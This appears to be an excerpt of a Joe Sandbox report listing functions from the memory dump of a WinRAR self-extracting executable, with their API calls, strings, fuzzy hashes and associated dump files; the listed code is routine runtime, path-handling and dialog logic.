Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 2b42fd04b392a17467a090b2eb2ddaef8cd6cc84371e85993739561f1c08637c
Instruction ID: 76dfc3f7ad390fe5a0906c0ff84e46685fa80f8e4a9af6a174ffc02360537632
Opcode Fuzzy Hash: 2b42fd04b392a17467a090b2eb2ddaef8cd6cc84371e85993739561f1c08637c
Instruction Fuzzy Hash: B801283261D2116EEF111BB66C8695B2F84EB02379331133AF474B51F2EF215C0C9194

Function 00E83553 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E83577
GetCurrentDirectoryW.KERNEL32(000007FF,?,000000FF,000000FF,?,?,?,?,00E82663,000000FF,?,00000800,?,?,00E81CCF,?), ref: 00E83615
_wcslen.LIBCMT ref: 00E8368B

Strings

UNC, xrefs: 00E835F7
\\?\, xrefs: 00E835A2, 00E835E9, 00E83647, 00E8369E

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: 53435ae26bdbdc6e29325aa165cf85fbc094fd2bd739c4a578d80e25affaff61
Instruction ID: b4924e5ac434da0742e4879cf662f18b40cc5834ac32b01b3e92abd3f219eb2d
Opcode Fuzzy Hash: 53435ae26bdbdc6e29325aa165cf85fbc094fd2bd739c4a578d80e25affaff61
Instruction Fuzzy Hash: 0E41DE71500214BACF22FF34CC41EEA77A9AF05B85B106426F81CB6251FB719F90DB60

Function 00E91D96 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 00E91DC2

Part of subcall function 00E900F6: _wcschr.LIBVCRUNTIME ref: 00E90191

Part of subcall function 00E87D24: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00E82FEC,?,?,?,00E82F99,?,-00000002,?,00000000,?), ref: 00E87D3A

Strings

MAX, xrefs: 00E91E17
MIN, xrefs: 00E91E33
<, xrefs: 00E91DA6
HIDE, xrefs: 00E91E04

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _wcschr$CompareString
String ID: <$HIDE$MAX$MIN
API String ID: 69343711-3358265660
Opcode ID: 7eac719acad11e391968ce90d4e1e17cfd4901f347cd1df672dd7f20bb31cbf9
Instruction ID: a195d76e1e32c7300a16a6cf8ba7b9770715500acd23dd45f5c834ed12503bf2
Opcode Fuzzy Hash: 7eac719acad11e391968ce90d4e1e17cfd4901f347cd1df672dd7f20bb31cbf9
Instruction Fuzzy Hash: 4731833290021AAADF25DB54CC41EEF73ECEB15754F4091A6E905F7181EBB4DE848F50

Function 00E92D7C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(00020482), ref: 00E92DB8
DialogBoxParamW.USER32(GETPASSWORD1,00020482,Function_000102B0,?), ref: 00E92DF4

Strings

B*, xrefs: 00E92D9A
GETPASSWORD1, xrefs: 00E92DE9
B*, xrefs: 00E92E37

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: DialogParamVisibleWindow
String ID: B*$B*$GETPASSWORD1
API String ID: 3157717868-3857194741
Opcode ID: fb37742ffcb6c0d6f98390e1e67700f2fea92344434a3258b5c27b7e38a3d13f
Instruction ID: 9d43b978bfffe5f4b6093683396466e20470535aef301f2cab8fe098a3741441
Opcode Fuzzy Hash: fb37742ffcb6c0d6f98390e1e67700f2fea92344434a3258b5c27b7e38a3d13f
Instruction Fuzzy Hash: 1F1126326002047EDF12DA259C86BAA33D8F74A714F045039BE09BB291C6B5AC49C760

Function 00E83470 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00E83497

Part of subcall function 00E839A9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E839BC

_wcschr.LIBVCRUNTIME ref: 00E834B5
_wcschr.LIBVCRUNTIME ref: 00E834C5

Strings

%c:\, xrefs: 00E8348D

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: c304b2c3d202822a6dfc8d289210d80c40e309d65ad70c4ce23e4d9edccfb05b
Instruction ID: 2c7b5ab7cbf2d3786c73ddcd6d9f02d8f4fba207d5c91a24470981a27197db40
Opcode Fuzzy Hash: c304b2c3d202822a6dfc8d289210d80c40e309d65ad70c4ce23e4d9edccfb05b
Instruction Fuzzy Hash: 0A016D271007117ADA3277758C43D67ABECDF86BB1B64A41AF46CF6082EA20D550C3F1

Function 00E9071D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00E9072D
GetObjectW.GDI32(00000000,00000018,?), ref: 00E90752
DeleteObject.GDI32(00000000), ref: 00E90784
DeleteObject.GDI32(00000000), ref: 00E907A7

Part of subcall function 00E8F8E2: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00E9077D,00000066), ref: 00E8F8F5
Part of subcall function 00E8F8E2: SizeofResource.KERNEL32(00000000,?,?,?,00E9077D,00000066), ref: 00E8F90C
Part of subcall function 00E8F8E2: LoadResource.KERNEL32(00000000,?,?,?,00E9077D,00000066), ref: 00E8F923
Part of subcall function 00E8F8E2: LockResource.KERNEL32(00000000,?,?,?,00E9077D,00000066), ref: 00E8F932
Part of subcall function 00E8F8E2: GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,00E9077D,00000066), ref: 00E8F94D
Part of subcall function 00E8F8E2: GlobalLock.KERNEL32(00000000), ref: 00E8F95E
Part of subcall function 00E8F8E2: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00E8F982
Part of subcall function 00E8F8E2: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00E8F9C7
Part of subcall function 00E8F8E2: GlobalUnlock.KERNEL32(00000000), ref: 00E8F9E6
Part of subcall function 00E8F8E2: GlobalFree.KERNEL32(00000000), ref: 00E8F9ED

Strings

], xrefs: 00E9075A

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: c975e0ce9ea50b02fb165b26504ecd1f9fdd03fc2631eb9706dd5631582ac9b3
Instruction ID: d4359cd67839766a69cb2b5d1040945db3cfb0f64ba41b2132ee92abfb4682e2
Opcode Fuzzy Hash: c975e0ce9ea50b02fb165b26504ecd1f9fdd03fc2631eb9706dd5631582ac9b3
Instruction Fuzzy Hash: EB01F9369406056FCB1177A58C49ABF7AFAAF80B75F541025FD08BB392DF319C098BA1

Function 00E92640 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00E811E6: GetDlgItem.USER32(00000000,00003021), ref: 00E8122A
Part of subcall function 00E811E6: SetWindowTextW.USER32(00000000,00EA8574), ref: 00E81240

EndDialog.USER32(?,00000001), ref: 00E9268B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 00E926A1
SetDlgItemTextW.USER32(?,00000066,?), ref: 00E926B5
SetDlgItemTextW.USER32(?,00000068), ref: 00E926C4

Strings

RENAMEDLG, xrefs: 00E92658

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 6e933dbcb907885e92b7695fd79ab2defc46d9ecc4d41ba6ff4a97259aecea48
Instruction ID: 59b73c62a5d1b495d55bdec0b2220596aabe93c8f0ce609daaa4fa5305708721
Opcode Fuzzy Hash: 6e933dbcb907885e92b7695fd79ab2defc46d9ecc4d41ba6ff4a97259aecea48
Instruction Fuzzy Hash: 710128327813597FDE10AF669C48FA777ACEB5E705F010018F341B94E2C2A2A909C775

Function 00E92B63 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 46COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E92BC4

Strings

Software\WinRAR SFX, xrefs: 00E92BAD
@4, xrefs: 00E92BEB
h4, xrefs: 00E92BE2
J4, xrefs: 00E92BB7

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _wcslen
String ID: @4$J4$Software\WinRAR SFX$h4
API String ID: 176396367-2013926500
Opcode ID: 5dd03e9b1a27a913570f0b89c2a907e5f6d770556eca77a51768599204e1b97a
Instruction ID: c67348d6da09a10ad98ca50d1a4260b6ff3bbca02a40e23b43d97e747dd0a47e
Opcode Fuzzy Hash: 5dd03e9b1a27a913570f0b89c2a907e5f6d770556eca77a51768599204e1b97a
Instruction Fuzzy Hash: 22017171400228BEDF319B91DC4AFDF7FACEB05354F444056B509B40A1DBB18A88D7A0

Function 00E9C7B8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00E9C769,00000003,?,00E9C709,00000003,00EB0A08,0000000C,00E9C860,00000003,00000002), ref: 00E9C7D8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00E9C7EB
FreeLibrary.KERNEL32(00000000,?,?,?,00E9C769,00000003,?,00E9C709,00000003,00EB0A08,0000000C,00E9C860,00000003,00000002,00000000), ref: 00E9C80E

Strings

mscoree.dll, xrefs: 00E9C7D1
CorExitProcess, xrefs: 00E9C7E3

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e3e94c42940b8d38fec6ee026f1f23f6e54f2d95064b66f8113377f41e7e0e32
Instruction ID: 64e2f740b2a7a858c7e73c3362bcb796a68d55eadfa1f9e7872d8c5852162cba
Opcode Fuzzy Hash: e3e94c42940b8d38fec6ee026f1f23f6e54f2d95064b66f8113377f41e7e0e32
Instruction Fuzzy Hash: 07F04471A01618BFDB159FA1EC09BAE7FB4EF49715F114168F805B6250DF306D49CA90

Function 00E9755A Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00E97621
___AdjustPointer.LIBCMT ref: 00E97644
_abort.LIBCMT ref: 00E97692
___AdjustPointer.LIBCMT ref: 00E976E0

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 63c6fad0c27308e77c94dfd6c17512139325cb4e89b7834529790c3a0696a99a
Instruction ID: 6b3d3956c39599a488e2fa72762b3c4a96dccd055844b922c15e9dd2c94b4c48
Opcode Fuzzy Hash: 63c6fad0c27308e77c94dfd6c17512139325cb4e89b7834529790c3a0696a99a
Instruction Fuzzy Hash: ED51E672619B029FDF298F58D851BBA77B4EF44304F14551DE885B72A2E731EC88CB90

Function 00EA08B0 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00EA08B9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00EA08DC

Part of subcall function 00E9DA90: RtlAllocateHeap.NTDLL(00000000,?,?,?,00E98B1E,?,0000015D,?,?,?,?,00E99FFA,000000FF,00000000,?,?), ref: 00E9DAC2

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00EA0902
_free.LIBCMT ref: 00EA0915
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00EA0924

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: e2bba399b324f0bee222dda3271017e78eb912c81897839881ad605e782ad4f9
Instruction ID: 0f2e664933da132e7aab5e7d37bb9779c4abee4b64e8f445a6b6e65d25d2e7e1
Opcode Fuzzy Hash: e2bba399b324f0bee222dda3271017e78eb912c81897839881ad605e782ad4f9
Instruction Fuzzy Hash: 6A01D8727026197F376116665D8CC7B6AADEECFB943140129B904EB142DE60AD0181B0

Function 00EA117F Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00EA1197

Part of subcall function 00E9D758: RtlFreeHeap.NTDLL(00000000,00000000,?,00EA1216,?,00000000,?,00000000,?,00EA123D,?,00000007,?,?,00EA163A,?), ref: 00E9D76E
Part of subcall function 00E9D758: GetLastError.KERNEL32(?,?,00EA1216,?,00000000,?,00000000,?,00EA123D,?,00000007,?,?,00EA163A,?,?), ref: 00E9D780

_free.LIBCMT ref: 00EA11A9
_free.LIBCMT ref: 00EA11BB
_free.LIBCMT ref: 00EA11CD
_free.LIBCMT ref: 00EA11DF

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 703955d041823f7f35ba9073b3620000da6fb047858c7a54cb18f8ecfe76a8ca
Instruction ID: f7148923f35b152e28554e8119d64c6c184ff573e0811926fa6dd938ee63022a
Opcode Fuzzy Hash: 703955d041823f7f35ba9073b3620000da6fb047858c7a54cb18f8ecfe76a8ca
Instruction Fuzzy Hash: 7CF04F32549618AFCA60DBA5EDC6C2A77EDAB05314BA42846F20CFB540CA30FD808650

Function 00E87D46 Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E87D4E
_wcslen.LIBCMT ref: 00E87D5F
_wcslen.LIBCMT ref: 00E87D6F
_wcslen.LIBCMT ref: 00E87D7D
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00E82E75,?,?,00000000,?,?,?), ref: 00E87D98

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 95f2bd16391915cc692f2e71e5d805c7915daac8eb9561c416343544ff5119ca
Instruction ID: 9f0274273fadf22e19cfae61dd051a75f118a49e6ab92c20c82143b799ff3c74
Opcode Fuzzy Hash: 95f2bd16391915cc692f2e71e5d805c7915daac8eb9561c416343544ff5119ca
Instruction Fuzzy Hash: 95F01D32008114BBCF222F91DC49DDA3F66EF46770B21A416F65DBA0A1CE32D555D7D0

Function 00E8FA2C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 00E8F8B9: GetDC.USER32(00000000), ref: 00E8F8BD
Part of subcall function 00E8F8B9: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00E8F8C8
Part of subcall function 00E8F8B9: ReleaseDC.USER32(00000000,00000000), ref: 00E8F8D3

GetObjectW.GDI32(?,00000018,?), ref: 00E8FA5C

Part of subcall function 00E8FCE9: GetDC.USER32(00000000), ref: 00E8FCF2
Part of subcall function 00E8FCE9: GetObjectW.GDI32(?,00000018,?), ref: 00E8FD21
Part of subcall function 00E8FCE9: ReleaseDC.USER32(00000000,?), ref: 00E8FDB9

Strings

(, xrefs: 00E8FBCA
4, xrefs: 00E8FAAE

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ObjectRelease$CapsDevice
String ID: ($4
API String ID: 1061551593-1598383727
Opcode ID: 5551ca7be093eae5d25e8883e27b4267937182f183b547e4d6462bee8af65e38
Instruction ID: 64468b9243ab92e8ceeca35d930964d2de2354b9a9e077608c0e4935ae42aede
Opcode Fuzzy Hash: 5551ca7be093eae5d25e8883e27b4267937182f183b547e4d6462bee8af65e38
Instruction Fuzzy Hash: 8691E271604754AFC714EF25E844A6BBBF8FBC9710F10486DF99AE7260DB30A905CB62

Function 00E8737C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00E8753A
_swprintf.LIBCMT ref: 00E875E9

Strings

%ls, xrefs: 00E873BF, 00E873D5
%s: %s, xrefs: 00E87549

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 5ddfb562a947fc786d9b025ce5cca1e498d51e1dc34deea04a4bed6dd4f54efd
Instruction ID: fbc78655667612b3f9d2f4e3d1efddb57c027b0ed06204cb301438b2e091e705
Opcode Fuzzy Hash: 5ddfb562a947fc786d9b025ce5cca1e498d51e1dc34deea04a4bed6dd4f54efd
Instruction Fuzzy Hash: 4751D63554C305FEEB213A94CD06FB67A95EB04B40F30A416B7DE744E1DAA1E610BB13

Function 00E9C8B3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe,00000104), ref: 00E9C8F3
_free.LIBCMT ref: 00E9C9BE
_free.LIBCMT ref: 00E9C9C8

Strings

C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe, xrefs: 00E9C8EA, 00E9C8F1, 00E9C920, 00E9C958

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
